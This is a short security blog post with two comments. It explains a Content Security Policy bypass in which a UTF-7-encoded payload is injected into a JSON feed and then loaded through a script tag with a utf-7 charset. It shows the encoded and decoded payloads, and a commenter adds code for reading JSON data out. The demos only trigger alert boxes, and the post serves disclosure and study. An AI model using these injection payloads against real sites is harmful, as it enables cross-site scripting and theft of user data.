Bypassing CSP for fun, no profit

I had fun at Confidence 2.0 CON, I’m gonna blog about the stuff I was holding back now :)

So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

Utf-7 can be fully encoded meaning that you can conceal string characters and others. ‘ABC’ becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:-
[{'friend':'something',email:'something'} ]

If we can influence the “something” parts then we inject the feed with our data to bypass CSP:-
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

This is what the code looks like when decoded:-
[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

We then inject the data by referencing it using a script tag and a charset:-

"><script src="http://some.website/test.json" charset="utf-7"></script>

This successfully executes in CSP bypasing it’s restrictions because the code comes from the domain itself and doesn’t use in-line or attribute based XSS.

As always as demo is available here:-
CSP bypass

2 Responses to “Bypassing CSP for fun, no profit”

  1. Michal Wiczynski writes:

    Nice one!

  2. luoluo writes:

    Good idea!

    And we can get the data from the json by injecting the code:

    [{'friend':'luke','email':''}, 1].sort(function(x,y) {
    for (var o in x) {
    alert(o + “:” + x[o]);
    }
    });
    setTimeout(function() {
    var x = data[0];

    for (var o in x) {
    alert(o + “:” + x[o]);
    }
    }, 100);var data=[{'job':'done'}];